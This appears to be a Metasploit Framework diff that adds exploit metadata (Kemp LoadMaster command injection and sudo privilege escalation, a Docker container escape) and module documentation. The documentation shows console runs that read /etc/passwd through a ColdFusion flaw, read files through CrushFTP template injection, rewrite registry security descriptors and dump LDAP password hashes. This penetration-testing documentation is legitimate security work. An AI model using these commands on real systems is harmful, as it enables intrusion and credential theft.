"mod_time": "2023-01-25 13:58:29 +0000",
|
||||
"mod_time": "2024-05-07 10:54:35 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_version",
|
||||
@@ -55030,7 +55285,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-08 17:41:59 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_login",
|
||||
@@ -55460,7 +55715,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 15:37:48 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/karaf_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/karaf_login",
|
||||
@@ -55704,7 +55959,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_login",
|
||||
@@ -55746,7 +56001,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_login_pubkey",
|
||||
@@ -56162,7 +56417,7 @@
|
||||
"telnet"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telnet/brocade_enable_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telnet/brocade_enable_login",
|
||||
@@ -56374,7 +56629,7 @@
|
||||
"telnet"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telnet/telnet_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telnet/telnet_login",
|
||||
@@ -56898,7 +57153,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-06-27 17:06:32 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/varnish/varnish_cli_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/varnish/varnish_cli_login",
|
||||
@@ -56989,7 +57244,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/vmware/vmauthd_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/vmware/vmauthd_login",
|
||||
@@ -57583,7 +57838,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/vnc/vnc_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/vnc/vnc_login",
|
||||
@@ -57960,7 +58215,7 @@
|
||||
"winrm"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"mod_time": "2024-05-03 10:45:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/winrm/winrm_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/winrm/winrm_login",
|
||||
@@ -78329,6 +78584,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/progress_kemp_loadmaster_unauth_cmd_injection": {
|
||||
"name": "Kemp LoadMaster Unauthenticated Command Injection",
|
||||
"fullname": "exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-03-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Dave Yesland with Rhino Security Labs"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated command injection vulnerability in\n Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.\n The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and\n 7.2.48.10 (LTS).",
|
||||
"references": [
|
||||
"CVE-2024-1212",
|
||||
"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/",
|
||||
"URL-https://kemptechnologies.com/kemp-load-balancers"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"Do_Not_Prepend_Runonce_Code"
|
||||
],
|
||||
"mod_time": "2024-04-26 17:36:50 +0000",
|
||||
"path": "/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/progress_kemp_loadmaster_unauth_cmd_injection",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/pulse_secure_cmd_exec": {
|
||||
"name": "Pulse Secure VPN Arbitrary Command Execution",
|
||||
"fullname": "exploit/linux/http/pulse_secure_cmd_exec",
|
||||
@@ -85283,6 +85600,65 @@
|
||||
|
||||
]
|
||||
},
|
||||
"exploit_linux/local/docker_privileged_container_kernel_escape": {
|
||||
"name": "Docker Privileged Container Kernel Escape",
|
||||
"fullname": "exploit/linux/local/docker_privileged_container_kernel_escape",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2014-05-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Nick Cottrell <Rad10Logic>",
|
||||
"Eran Ayalon",
|
||||
"Ilan Sokol"
|
||||
],
|
||||
"description": "This module performs a container escape onto the host as the daemon\n user. It takes advantage of the SYS_MODULE capability. If that\n exists and the linux headers are available to compile on the target,\n then we can escape onto the host.",
|
||||
"references": [
|
||||
"URL-https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities",
|
||||
"URL-https://github.com/maK-/reverse-shell-access-kernel-module"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-05-01 13:30:16 +0000",
|
||||
"path": "/modules/exploits/linux/local/docker_privileged_container_kernel_escape.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/docker_privileged_container_kernel_escape",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"exploit_linux/local/docker_runc_escape": {
|
||||
"name": "Docker Container Escape Via runC Overwrite",
|
||||
"fullname": "exploit/linux/local/docker_runc_escape",
|
||||
@@ -86727,6 +87103,65 @@
|
||||
|
||||
]
|
||||
},
|
||||
"exploit_linux/local/progress_kemp_loadmaster_sudo_privesc_2024": {
|
||||
"name": "Kemp LoadMaster Local sudo privilege escalation",
|
||||
"fullname": "exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-03-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Dave Yesland with Rhino Security Labs",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "This module abuses a feature of the sudo command on Progress Kemp\n LoadMaster. Certain binary files are allowed to automatically elevate\n with the sudo command. This is based off of the file name. Some files\n have this permission are not write-protected from the default 'bal' user.\n As such, if the file is overwritten with an arbitrary file, it will still\n auto-elevate. This module overwrites the /bin/loadkeys file with another\n executable.",
|
||||
"references": [
|
||||
"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/",
|
||||
"URL-https://kemptechnologies.com/kemp-load-balancers"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Dropper",
|
||||
"Command"
|
||||
],
|
||||
"mod_time": "2024-05-10 08:54:23 +0000",
|
||||
"path": "/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/progress_kemp_loadmaster_sudo_privesc_2024",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"exploit_linux/local/ptrace_sudo_token_priv_esc": {
|
||||
"name": "ptrace Sudo Token Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc",
|
||||
@@ -97124,7 +97559,7 @@
|
||||
"Automatic (Dropper)",
|
||||
"Unix Command (In-Memory)"
|
||||
],
|
||||
"mod_time": "2021-10-10 17:01:15 +0000",
|
||||
"mod_time": "2024-05-01 20:01:38 +0000",
|
||||
"path": "/modules/exploits/multi/http/apache_normalize_path_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/apache_normalize_path_rce",
|
||||
@@ -97177,7 +97612,7 @@
|
||||
"targets": [
|
||||
"Automatic (Unix In-Memory)"
|
||||
],
|
||||
"mod_time": "2023-06-08 17:34:45 +0000",
|
||||
"mod_time": "2024-04-26 14:24:08 +0000",
|
||||
"path": "/modules/exploits/multi/http/apache_rocketmq_update_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/apache_rocketmq_update_config",
|
||||
@@ -113910,7 +114345,7 @@
|
||||
"Linux",
|
||||
"Unix"
|
||||
],
|
||||
"mod_time": "2023-11-06 09:42:59 +0000",
|
||||
"mod_time": "2024-04-29 16:15:50 +0000",
|
||||
"path": "/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/apache_activemq_rce_cve_2023_46604",
|
||||
@@ -182618,7 +183053,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-03-12 14:09:22 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/mssql_payload",
|
||||
@@ -251513,13 +251948,13 @@
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux",
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2023-07-19 19:47:17 +0000",
|
||||
"mod_time": "2024-04-26 21:58:43 +0000",
|
||||
"path": "/modules/post/linux/gather/checkcontainer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/checkcontainer",
|
||||
@@ -251527,6 +251962,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
|
||||
@@ -261,4 +261,4 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
```
|
||||
|
||||
@@ -60,14 +60,17 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module reads or writes a Windows registry security descriptor remotely.
|
||||
|
||||
In READ mode, the `FILE` option can be set to specify where the security
|
||||
descriptor should be written to.
|
||||
|
||||
The following format is used:
|
||||
```
|
||||
key: <registry key>
|
||||
security_info: <security information>
|
||||
sd: <security descriptor as a hex string>
|
||||
```
|
||||
|
||||
In WRITE mode, the `FILE` option can be used to specify the information needed
|
||||
to write the security descriptor to the remote registry. The file must follow
|
||||
the same format as described above.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/admin/registry_security_descriptor`
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
|
||||
1. **Verify** the registry key security descriptor is displayed
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
|
||||
1. **Verify** the registry key security descriptor is saved to the file
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
|
||||
1. **Verify** the security descriptor is correctly set on the given registry key
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
|
||||
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key
|
||||
|
||||
## Options
|
||||
|
||||
### KEY
|
||||
Registry key to read or write.
|
||||
|
||||
### SD
|
||||
Security Descriptor to write as a hex string.
|
||||
|
||||
### SECURITY_INFORMATION
|
||||
Security Information to read or write (see
|
||||
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
|
||||
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).
|
||||
|
||||
### FILE
|
||||
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Read against Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019
|
||||
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019 (from file)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
|
||||
key: HKLM\SECURITY\Policy\PolEKList
|
||||
security information: 4
|
||||
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
|
||||
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
|
||||
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
|
||||
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
|
||||
|
||||
### Setup
|
||||
|
||||
#TODO: Find out how to setup a vulnerable target and put those details here.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use coldfusion_pms_servlet_file_read`
|
||||
1. Set the `RHOST` and datastore option
|
||||
1. If the target host is running Windows, change the default `FILE_PATH` datastore options from `/tmp/passwd` to a file path that exists on Windows.
|
||||
1. Run the module
|
||||
1. Receive the contents of the `FILE_PATH` file
|
||||
|
||||
## Scenarios
|
||||
### ColdFusion Version 2023.0.0.330468 running on Linux
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Attempting to retrieve UUID ...
|
||||
[+] UUID found: 1c49c29a-f1c0-4ed0-9f9e-215f434c8a12
|
||||
[*] Attempting to exploit directory traversal to read /etc/passwd
|
||||
[+] File content:
|
||||
n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash
|
||||
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
|
||||
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
whoopsie:x:117:124::/nonexistent:/bin/false
|
||||
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
|
||||
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
|
||||
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
|
||||
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
[+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
|
||||
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
|
||||
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
|
||||
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
|
||||
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
|
||||
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
|
||||
### INJECTINTO
|
||||
The unauthenticated API function to use for template injection (default: zip).
|
||||
|
||||
### STORE_LOOT
|
||||
Whether the read file's contents should be outputted to the console or stored as loot (default: false).
|
||||
|
||||
### TARGETFILE
|
||||
The target file to read (default: users/MainUsers/groups.XML). This can be a full path, a relative path, or a network share path (if
|
||||
firewalls permit). Files containing binary data may not be read accurately. Though file paths for Windows targets can contain `:`
|
||||
characters, like `C:\Windows\win.ini`, this will result in payloads not being fully redacted from CrushFTP logs.
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Download an affected version of CrushFTP [here](https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip) (SHA256: adc3619937ebb57b3a95c50f78fda5c388d072c0d34a317b9ed64a31127a6d3f).
|
||||
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
|
||||
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
|
||||
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/crushftp_fileread_cve_2024_4040`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `set TARGETFILE <TARGET_FILE_TO_READ>`
|
||||
6. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
### CrushFTP on Windows, Linux, or Mac
|
||||
```
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options
|
||||
|
||||
Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
INJECTINTO zip yes The CrushFTP API function to inject into (Accepted: zip, exists)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
|
||||
loit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STORE_LOOT false yes Store the target file as loot
|
||||
TARGETFILE users/MainUsers/groups.XML yes The target file to read. This can be a full path, a relative path, or a network share path (i
|
||||
f firewalls permit). Files containing binary data may not be read accurately
|
||||
TARGETURI / yes The URI path to CrushFTP
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > check
|
||||
[+] 127.0.0.1:8080 - The target is vulnerable. Server-side template injection successful!
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Server-side template injection successful!
|
||||
[*] Fetching anonymous session cookie...
|
||||
[*] Using template injection to read file: users/MainUsers/groups.XML
|
||||
[+] File read succeeded!
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<groups type="properties"></groups>
|
||||
|
||||
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -28,20 +28,25 @@ msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 1389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it]
|
||||
DOMAIN no The domain to authenticate to
|
||||
MAX_LOOT no Maximum number of LDAP entries to loot
|
||||
PASSWORD no The password to authenticate with
|
||||
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
|
||||
serpassword, password, pwdhistory, passwordhistory, c
|
||||
learpassword
|
||||
READ_TIMEOUT 600 no LDAP read timeout in seconds
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 1389 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME no The username to authenticate with
|
||||
USER_ATTR dn no LDAP attribute(s), that contains username
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
@@ -214,23 +214,33 @@ QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
